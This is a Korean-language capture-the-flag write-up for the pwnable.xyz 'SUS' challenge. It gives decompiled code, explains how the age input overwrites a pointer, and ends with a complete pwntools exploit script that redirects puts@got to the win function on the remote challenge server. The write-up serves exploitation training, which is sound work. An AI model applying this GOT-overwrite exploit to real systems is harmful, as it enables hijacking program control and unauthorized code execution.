[pwnable.xyz]SUS

64비트 바이너리고 PIE빼고 다 걸려있다.

[*] '/vagrant/ctfs/challenge'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

create_user함수에서는 s라는 변수를 동적할당해준 후 s 변수에 이름을 입력받아 cur이라는 전역변수에 주소를 저장한다. 전역변수에는 아마 heap주소가 들어갈거다.

unsigned __int64 create_user()
{
  void *s; // [rsp+0h] [rbp-1060h]
  unsigned __int64 v2; // [rsp+1058h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( !s )
  {
    s = malloc(32uLL);
    memset(s, 0, 32uLL);
  }
  printf("Name: ", s);
  read(0, s, 32uLL);
  printf("Age: ", s, s);
  read_int32();
  cur = &s;
  return __readfsqword(0x28u) ^ v2;
}

여기는 출력해주는 곳이다.

int print_user()
{
  int result; // eax

  result = cur;
  if ( cur )
  {
    printf("User: %s\n", *cur);
    result = printf("Age: %d\n", *(cur + 72));
  }
  return result;
}

Name과 Age를수정할 수 있다.

unsigned __int64 edit_usr()
{
  __int64 v0; // rsi
  __int64 v1; // rbx
  unsigned __int64 v3; // [rsp+1018h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  if ( cur )
  {
    printf("Name: ");
    v0 = *cur;
    read(0, *cur, 32uLL);
    printf("Age: ", v0);
    v1 = cur;
    *(v1 + 72) = read_int32();
  }
  return __readfsqword(0x28u) ^ v3;
}

cur에는 포인터로 heap주소가 저장된다. 근데 age를 입력할 때 16개 이상 입력받게되면 이 포인터를 덮을 수 있다.

그래서 age 입력받을 때 heap을 가르키는 포인터를 puts@got로 바꾸고 name을 edit할때 cur을 참조하는데 우리는 *cur에 puts@got로 덮어놨으니까 name입력받을 때 win의 주소로 넣으면 puts가 실행되면 win함수가 실행될거다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote("svc.pwnable.xyz", 30011)
win = e.symbols['win']
cur = 0x0000000000602268
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def create_user(name,age):
	sa('> ','1')
	sa(': ',name)
	sa(': ',str(age))

def print_user():
	sa('> ','2')

def edit_user(name,age):
	sa('> ','3')
	sa(': ',name)
	sa(': ',str(age))

create_user('A', 1)
edit_user('B', 'C' * 16 + p64(e.got['puts']))
edit_user(p64(win), 1)

p.interactive()